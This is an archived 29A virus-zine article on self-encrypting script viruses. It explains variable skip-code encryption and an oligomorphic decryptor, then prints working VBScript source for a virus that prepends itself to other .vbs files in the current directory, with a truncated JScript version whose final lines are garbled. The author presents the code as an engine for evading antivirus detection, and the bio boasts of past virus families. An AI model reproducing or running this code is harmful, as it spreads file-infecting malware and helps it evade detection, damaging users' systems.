www.pudn.com > 29a_fu.zip > 29A-7.005


 
                          Self-crypting script files 
                               roy g biv / 29A 
 
 
About the author: 
 
Former  DOS/Win16  virus writer, author of several virus  families,  including 
Ginger  (see Coderz #1 zine for terrible buggy example, contact me for  better 
sources  ;),  and Virus Bulletin 9/95 for a description of what   they  called 
Rainbow.   Co-author  of  world's first virus using circular  partition  trick 
(Orsam, coded with Prototype in 1993).  Designer of world's first XMS swapping 
virus  (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is 
swapped  out).   Author of world's first virus using Thread Local Storage  for 
replication  (Shrug, see Virus Bulletin 6/02 for a description, but they  call 
it Chiton), world's first virus using Visual Basic 5/6 language extensions for 
replication  (OU812), world's first Native executable virus (Chthon),  world's 
first  virus  using process co-operation to prevent termination  (Gemini,  see 
Virus  Bulletin 9/02 for a description), world's first virus using polymorphic 
SMTP  headers  (Junkmail,  see Virus Bulletin 11/02 for  a  description),  and 
world's  first  viruses that can convert any data files to infectable  objects 
(Pretext).   Author  of  various retrovirus articles (eg see Vlad #7  for  the 
strings  that make your code invisible to TBScan).  Went to sleep for a number 
of years.  I am awake now. ;) 
 
 
Why not? 
 
When  thinking about the number of encrypted macro viruses, it is strange that 
there  are not so many encrypted script viruses.  I have no answer for why  it 
is  so. ;)  Anyway, here I present a simple engine for encrypting VBScript and 
JScript  files.   It  uses a variable skip-code encryption  with  oligomorphic 
decryptor.   The  cryptor  supports variable spacing, random  variable  names, 
random  variable  case,  random  keyword case (VBScript  only),  and  variable 
skip-codes with constant packet size.  It can be used recursively, too. 
 
 
How? 
 
The  difficulty  of self-crypting scripts is because of needing the  decrypted 
source in order to encrypt it again.  The problem is then how to get decrypted 
source?   There  are two options here: the first is to rebuild the  source  at 
runtime,  but this is not always easy and we want a simple engine.  The second 
option  is  to  decrypt the encrypted source, but this is easy only  when  the 
structure is weak (easy to find and easy to parse).  This second is the option 
that we use here. 
 
 
Skip-codes (constant) 
 
Constant  skip-code  encryption  is  simply that our character  is  every  nth 
character  in  a string (s), where n is the value of the skip code.   A  plain 
string  has  n equal to 1, so our character is every character in the  string. 
To  encrypt  is to increase the value of n, and fill the unused characters  by 
random values.  First, n=1: 
 
    this is our string 
 
Then n=2, and unused characters are set to !: 
 
    !t!h!i!s! !i!s! !o!u!r! !s!t!r!i!n!g 
 
and is accessed by this VBScript code: 
 
    for i = n to len(s) step n 
      d = d + mid(s, i, 1) 
    next 
 
or this JScript code: 
 
    d = "" 
    for (i = n - 1; i < s.length; i += n) 
      d = d + s.charAt(i) 
 
 
Skip-codes (variable) 
 
Variable  skip-code encryption is also that our character is every nth byte in 
a  string,  but now n can be a different value for every character.   This  is 
implemented  by storing the characters in "packets" which contain the value of 
n.   The  packet size (p) can be either constant or variable.  An  example  of 
constant  packet  size  (p=3), with n as the first character in  each  packet, 
could look like this: 
 
    1t!2!h1i!2!s1 !2!i1s!2! 1o!2!u1r!2! 1s!2!t1r!2!i1n!2!g 
 
In  this example, the value of n alternates between 1 and 2. It is accessed by 
this VBScript code: 
 
    for i = 1 to len(s) step p 
      d = d + mid(s, i + mid(s, i, 1), 1) 
    next 
 
or this JScript code: 
 
    d = "" 
    for (i = 0; i < s.length; i += p) 
      d = d + s.charAt(i + (s.charAt(i) & 15)) 
 
"charAt(i) & 15" is fewer bytes than "charCodeAt(i) - 48", for same result. 
 
Variable packet size can be implemented by also storing the packet size in the 
packet.  An example of variable packet size, with p as the first character  in 
each  packet,  and n as the second character in each packet, could  look  like 
this: 
 
    32t!22h33!i22s32 !22i33!s22 32o!22u33!r22 32s!22t33!r22i32n!22g 
 
In  this example, the value of both p and n alternate between 2 and 3.  It  is 
accessed by this VBScript code: 
 
    for i = 1 to len(s) 
      d = d + mid(s, i + mid(s, i + 1, 1), 1) 
      i = i + mid(s, i, 1) 
    next 
 
or this JScript code: 
 
    d = "" 
    for (i = 0; i < s.length; i++) 
    { 
      d = d + s.charAt(i + (s.charAt(i + 1) & 15)) 
      i = i + (s.charAt(i) & 15) 
    } 
 
The  value of p (at mid(s, i, 1)) is 1 less than the real packet size  because 
the for loop will increment i automatically. 
 
 
And then... 
 
No  matter how good is the encryption, the weak link is the decryptor.  If the 
decryptor is extremely complex, or unique in some way, then no-one will bother 
with  the encrypted code and will simply detect the decryptor itself.  In  the 
world  of  scripts,  where  encryption is more common, we  can  use  a  simple 
decryptor  with little risk, because some harmless ones might look like  ours. 
Also, this decryptor can be layered, but then it takes a long time to decrypt, 
and only the first layer is variable. 
 
Let's  see  the  code.  It requires only WSH v3+ because no new  features  are 
used.  First is VBScript version. 
 
 
'Conscrypt - roy g biv 01/02/03 
dim loff,newl 
set fso=createobject("scripting.filesystemobject") 
set file=fso.opentextfile(wscript.scriptfullname) 
bann=file.readline 
oldl=file.readline 
file.close 
 
randomize 
dospc 1 
 
rcase 8 
v1=nvar 
outch"(" 
v2=nvar 
outch")"                                        'function aaaaa(bbbbb) 
 
outch":" 
 
rcase 3 
v3=nvar 
outch"=" 
outch"1" 
rcase 2 
rcase 3 
outch"(" 
outv v2 
outch")" 
rcase 4 
v5=mid(oldl,loff,1)                             'old packet size 
v6=int(rnd*7)+2                                 'new data size: 2-8 
                                                'if you do not use ! character, then line can be 
                                                'v6=int(rnd*7)+2        '1-8 
outch cstr(v6+1)                                'for ccccc=1 to len(bbbbb) step x 
 
outch":" 
 
v4=nvar 
outch"=" 
rcase 4 
outch"(" 
rcase 3 
outch"(" 
outv v2 
outch"," 
outv v3 
outch"," 
outch"1" 
outch")" 
outch")"                                        'ddddd=cint(mid(bbbbb,ccccc,1)) 
 
outch":" 
 
outv v1 
outch"=" 
outv v1 
outch"+" 
rcase 3 
outch"(" 
rcase 3 
outch"(" 
rcase 3 
outch"(" 
outv v2 
outch"," 
outv v3 
outch"+" 
outv v4 
outch"," 
outch"1" 
outch")" 
outch")" 
outch"-" 
outv v4 
outch")"                                        'aaaaa=aaaaa+chr(asc(mid(bbbbb,ccccc+ddddd,1))-ddddd) 
 
outch":" 
 
rcase 4                                         'next 
 
outch":" 
 
rcase 3 
rcase 8                                         'end function 
 
outch":" 
 
rcase 7 
outch"(" 
outv v1 
outch"(" 
outch chr(34) 
cb=instr(mid(oldl,loff),chr(34)) 
 
for loff=loff to loff+cb-v5 step v5 
  oldkey=cint(mid(oldl,loff,1)) 
  do 
    nkey=int(rnd*v6)+1 
    c=asc(mid(oldl,loff+oldkey,1))-oldkey+nkey 
  loop while c=34or c>127                       'no " or 8-bit chars 
  newl=newl+cstr(nkey) 
  for kl=2to nkey 
    newl=newl+rchar 
  next 
  newl=newl+chr(c) 
  for kl=kl to v6 
    newl=newl+rchar 
  next 
next 
outch chr(34) 
outch")" 
outch")"                                        'execute(aaaaa("encrypted code")) 
 
set dir=fso.getfolder(".")                      'demo version, current directory only 
for each item in dir.files 
  if lcase(fso.getextensionname(item))="vbs"then 
    err=0 
    set inf=fso.opentextfile(item,1)            'open potential victim 
    if err.number=0then 
      fst=inf.read(1)                           'read first character 
      if fst<>"'"then                           'check for infection marker 
        rest=inf.readall                        'read entire file 
        attr=item.attributes                    'save attributes 
        item.attributes=0                       'remove any read-only attribute 
        err=0 
        set outf=fso.opentextfile(item,2)       'open file for writing 
        if err.number=0then 
          outf.writeline(bann)                  'prepend banner 
          outf.writeline(newl)                  'prepend code 
          outf.write(fst+rest)                  'append first character and host 
          outf.close                            'close file (write mode) 
        end if 
        item.attributes=attr                    'restore attributes 
      end if 
      inf.close                                 'close file (read mode) 
    end if 
  end if 
next 
 
sub dospc(curoff)                               'replace space with random number of spaces 
  if mid(oldl,curoff,1)=" "then 
    newl=newl+space(rnd*5+1) 
    while mid(oldl,curoff,1)=" " 
      curoff=curoff+1 
    wend 
  end if 
  loff=curoff 
end sub 
 
sub rcase(lineend)                              'random case switch on keywords 
  for cb=loff to loff+lineend-1 
    newl=newl+chr(asc(mid(oldl,cb,1))xor(int(rnd*2)*32)) 
  next 
  dospc loff+lineend 
end sub 
 
function rchar                                  'random case letter 
  rchar=chr(int(rnd*26)+65+int(rnd*2)*32) 
end function 
 
sub outv(tvar)                                  'variable followed by random number of spaces 
  newl=newl+tvar 
  dospc loff+instr(mid(oldl,loff)," ")-1 
end sub 
 
function nvar                                   'random sequence of random case letters 
  while tv=v1 or tv=v2 or tv=v3 or tv=v4 
    tv="" 
    for cb=1to rnd*5+5                          '5-9 characters 
      tv=tv+rchar 
    next 
  wend 
  outv tv 
  nvar=tv 
end function 
 
sub outch(ch)                                   'character followed by random number of spaces 
  newl=newl+ch 
  dospc loff+1 
end sub 
 
 
Now is JScript version. 
 
 
//Conscrypt - roy g biv 01/02/03 
fso=new ActiveXObject("scripting.filesystemobject") 
with(inf=fso.opentextfile(WScript.scriptfullname)) 
{ 
  bann=readline() 
  oldl=readline() 
  close() 
} 
 
Math.random(1) 
newl="" 
dospc(0) 
 
outv("function") 
var v1=nvar(),v2,v3,v4,v5 
outch("(") 
v2=nvar() 
outch(")")                                      //function aaaaa(bbbbb) 
 
outch("{") 
 
v3=nvar() 
outch("=") 
outv("\"\"")                                    //ccccc="" 
 
outch(";") 
 
outv("for") 
outch("(") 
v4=nvar() 
outch("=") 
outch("0") 
outch(";") 
outv(v4) 
outch("<") 
outv(v2) 
outch(".") 
outv("length") 
outch(";") 
outv(v4) 
outv("+=") 
v6=oldl.charAt(loff)                            //old packet size 
v7=(Math.random()*7+2)&15                       //new data size: 2-8 
                                                //if you do not use ! character, then line can be 
                                                //v7=(Math.random()*8+1)&15     //1-8 
outch(v7+1) 
outch(")")                                      //for(ddddd=0;ddddd127)              //no " or \ or 8-bit chars 
  newl+=nkey 
  kl=0 
  while(++kl